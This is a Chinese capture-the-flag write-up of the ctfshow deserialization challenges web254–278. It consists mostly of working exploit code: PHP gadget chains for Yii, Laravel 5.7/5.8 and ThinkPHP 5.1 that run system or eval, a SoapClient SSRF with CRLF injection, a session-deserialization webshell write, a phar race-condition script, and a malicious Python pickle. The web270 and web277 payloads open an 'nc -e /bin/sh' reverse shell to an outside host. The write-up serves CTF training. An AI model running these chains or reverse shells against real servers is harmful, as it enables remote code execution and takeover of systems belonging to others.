CTFSHOW 反序列化篇

文章目录

    • web254
    • web255
    • web256
    • web257
    • web258
    • web259
    • web260
    • web261
    • web262
    • web263
    • web264
    • web265
    • web266
    • web267
    • web268
    • web269
    • web 270
    • web271
    • web 272、273
    • web274
    • web275
    • web 276
    • web277 278

笔者太菜了,没解出来261 T_T

web254

没搞懂和反序列化有啥关系,直接传username=xxxxxx&password=xxxxxx出flag

web255

请求包内容如下
CTFSHOW 反序列化篇_第1张图片
首先get传的username和password都是xxxxxx
因为源码里面

$user = unserialize($_COOKIE['user']);
$user->login($username,$password);

就是是说我们需要让反序列后的结果是ctfShowUser的实例化对象。又因为只有$this->isVip是true才能是flag,所以反序列化的内容为


class ctfShowUser{
    public $isVip=true;
}
echo serialize(new ctfShowUser);

抓包修改下cookie就可以了,别忘了分号编下码。

web256

请求包
CTFSHOW 反序列化篇_第2张图片
构造语句



class ctfShowUser{
    public $isVip=true;
    public $username='a';
}
echo serialize(new ctfShowUser);

保证输入的username和序列化的一样并且和原来的password不一样。

web257

请求包
CTFSHOW 反序列化篇_第3张图片
构造代码


class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));

大致浏览下代码会发现我们可以利用的函数eval,要想调用eval就得使用backDoor类中的getinfo。
然后在ctfShowUser类的__destruct中发现了$this->class->getInfo();,那么我们只需要让$this->class是backDoor类的实例化就可以了。
反序列化时,首先调用__destruct,接着调用$this->class->getInfo();也就是backDoor->getinfo(),最后触发eval。

web258

在上一个题的基础上加了个正则,只需要把O后面的数字前加个加号就可以绕过了。
当然还有个小改动,把原来的private改成了public。

构造代码


class ctfShowUser{
    public $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));

CTFSHOW 反序列化篇_第4张图片
注意url编码。

web259

这个题利用的是php原生类SoapClient
该类的构造函数如下:

public SoapClient :: SoapClient (mixed $wsdl [array $options ]

CTFSHOW 反序列化篇_第5张图片
flag.php源码

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

当然这是个不完整的源码,应该还有一条判断真实ip的也就是

if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){
xxxxxx;
}

所以首先得利用ssrf访问flag.php接着构造post数据 toke=ctfshow和请求头X-Forwarded-For 就能把flag写到flag.txt中了。
那么ssrf漏洞在哪呢,这就得用到我们前面提到的SoapClient类了。这个类中有个__call魔术方法(当调用不存在的方法时触发),会调用SoapClient类的构造方法。
另外用到的一个文章识点就是CRLF,具体的可以先看下大佬写的文章
payload:


$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

直接get传vip=xxx就可以了,最后访问/flag.txt应该就能拿到flag了。

web260

题目意思就是你序列化出来的东西需要包含字符串ctfshow_i_love_36D,
那我们直接传ctfhsow=ctfshow_i_love_36D就可以了。

web261

打下来和redis好像没什么关系.

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,
则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

当反序列化时会进入__unserialize中,而且也没有什么方法可以进入到__invoke中。所以直接就朝着写文件搞就可以了。

只要满足code==0x36d(877)就可以了。
而code是username和password拼接出来的。
所以只要username=877.php password=shell就可以了。
877.php==877是成立的(弱类型比较)

payload


class ctfshowvip{
    public $username;
    public $password;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}
$a=new ctfshowvip('877.php','');
echo serialize($a);

web262

考察反序列化字符串逃逸,具体内容可以看下我之前写的一个文章或者借鉴下其他大佬的。
这个题有个小hint在注释里面。
CTFSHOW 反序列化篇_第6张图片
还有个message.php页面,我们看到,需要token为admin才能输出flag

if($msg->token=='admin'){
        echo $flag;
    }

payload:


class message{
   public $from;
   public $msg;
   public $to;
   public $token='user';
   public function __construct($f,$m,$t){
       $this->from = $f;
       $this->msg = $m;
       $this->to = $t;
   }
}
$f = 1;
$m = 1;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg ;
echo "\n";
echo base64_encode($umsg);

把base64编码后的结果放到cookie里面访问message.php就能拿到flag。当然我们也可以直接传值。

f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web263

考察点 php session反序列化漏洞。参考下别人的文章
关键代码
index.php
写入cookie
CTFSHOW 反序列化篇_第7张图片
check.php
调用cookie
CTFSHOW 反序列化篇_第8张图片
inc.php
存在写文件函数,如果username为php文件名,password为一句话就可以了。
在这里插入图片描述
payload


class User{
    public $username;
    public $password;
    public $status='a';

}
$a=new User();
$a->username='b.php';
$a->password='';
echo base64_encode('|'.serialize($a));

首先修改cookie后访问index.php,接着访问check.php即可生成木马文件。比如我这个会生成log-b.php。

web264

具体的可以参考下web262,但这个题略微恶心一些,用的是$_SESSION,原来是$_COOKIE,所以我们不能直接修改cookie了。
直接把原来262的值传过去就可以了

f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22;s:5:%22token%22;s:5:%22admin%22;}
if(isset($_COOKIE['msg'])){
xxxx
    }

所以还得随便传个cookie msg=1 ,访问message.php就行了

web265

考察php按地址传参

$a='123';
$b=&$a;
$b=1;
echo $a;

大家可以试下这段代码,会发现a的值会跟着b一起改变。所以我们只需要让token按地址传给passowrd就可以了。
payload:


class ctfshowAdmin{
    public $token;
    public $password;
    public function __construct(){
        $this->token='a';
        $this->password =&$this->token;
}
$a=new ctfshowAdmin();
echo serialize($a);

web266

当我们序列化的字符串里面如果有ctfshow就会抛出一个异常,这样就没法触发__destrurt魔术方法了,所以得绕过这个正则。
payload:


class ctfshow{
}
$a=new ctfshow();
echo serialize($a);

是的你没有看错,就是这么短,但是要把生成的字符串里面的ctfshow改成大写的。
CTFSHOW 反序列化篇_第9张图片

web267

yii反序列化漏洞
弱密码 admin admin登录成功后,在about页面发现提示?view-source
访问url/?r=site/about&view-source得到反序列化点
payload ?r=backdoor/shell&code=poc

poc生成(具体想用什么命令大家自己看着来吧,不知道为什么system不能用,建议用shell_exec)


namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

web268

poc


namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

web269

poc


namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

web 270


namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', 'nc xxx.xxx.xxx.xxx 4567 -e /bin/sh');
    echo(base64_encode(serialize($exp)));
}

web271

laravel5.7反序列化漏洞
大家有兴趣可以下载源码自己去分析分析
poc:



namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser
            $this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application
            $this->command = $command;           //要执行的php函数 system
            $this->parameters = $parameters;     //要执行的php函数的参数  array('id')
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

    $app = new Illuminate\Foundation\Application();

    $application = new Illuminate\Foundation\Application($app);

    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami'));

    echo urlencode(serialize($pendingcommand));
}

web 272、273

laravel5.8反序列化漏洞
poc


/*
Author:monitor
description:
    laravel deserialization chain
*/
namespace Illuminate\Broadcasting
{
    class PendingBroadcast{
        protected $events;
        protected $event;
        public function __construct($events,$event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Bus
{
    class Dispatcher{
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}

namespace Mockery\Loader
{
    class EvalLoader{

    }
}

namespace Mockery\Generator
{
    class MockDefinition{
        protected $config;
        protected $code;
        public function __construct($config,$code){
            $this->config = $config;
            $this->code = $code;
        }
    }
    class MockConfiguration{
        protected $name;
        public function __construct($name)
        {
            $this->name = $name;
        }
    }
}

namespace Illuminate\Queue
{
    class CallQueuedClosure{
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}

namespace
{   
    if($argc<2){
        echo "Description:\n\tUse laravel deserialization to eval php code,don't need to input php tags.";
        echo "\nUsage:" .$argv[0] . " ";
        exit();
    }
    $code = $argv[1];
    $mockconfiguration = new Mockery\Generator\MockConfiguration("pass");
    $mockdefination = new Mockery\Generator\MockDefinition($mockconfiguration,".$code." exit;?>");
    $callqueuedclosure = new Illuminate\Queue\CallQueuedClosure($mockdefination);
    $evaload = new Mockery\Loader\EvalLoader();
    $dispatcher = new Illuminate\Bus\Dispatcher(array($evaload,"load"));
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$callqueuedclosure);
    echo urlencode(serialize($pendingbroadcast));
}

用法 php index.php system(‘cat$IFS$9/f*’);

web274

thinkphp 5.1反序列化漏洞 参考链接
poc


namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

用法
在这里插入图片描述

web275

__destruct当对象被销毁时调用,所以我们不需要用到反序列化函数。那么只要$this->evilfile是true就可以执行系统命令了。最后在拼接一下命令
payload

?fn=;cat f*
data: flag=123

web 276

在上个题的基础上增了了 判断$this->admin所以真的需要我们去通过反序列化修改admin的值了。因为题目中没有反序列化函数,所以需要通过其他方式。
因为题目中有写文件的函数,所以可以通过file_put_contents写phar文件,然后再通过file_put_contents触发phar反序列化。当然我们得在删除文件前执行完这两个操作,所以需要用到条件竞争。
生成phar文件



class filter{
    public $filename = "1|cat f*";
    public $filecontent;
    public $evilfile = true;
    public $admin = true;
}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("");

$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

条件竞争

import requests
import threading
import base64
url = 'http://b1238473-a3bb-431f-a39e-3cd285bcb95e.chall.ctf.show/'

f = open('./phar.phar', 'rb')

data = f.read()
flag = False

def work1():
    requests.post(url+"?fn=a", data=data)


def work2():
    global flag
    r = requests.post(url+"?fn=phar://phar.phar/", data="")
    if "flag{" in r.text and flag is False:
        print(base64.b64encode(r.text.encode()))
        flag = True

while flag is False:
    a = threading.Thread(target=work1)
    b = threading.Thread(target=work2)
    a.start()
    b.start()

web277 278

测试了一番发现没有回显,那直接反弹shell吧
ps:python3 linux系统

payload:

import pickle
import base64
class A(object):
	def __reduce__(self):
		return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 4567 -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))

你可能感兴趣的:(CTFSHOW,web入门系列)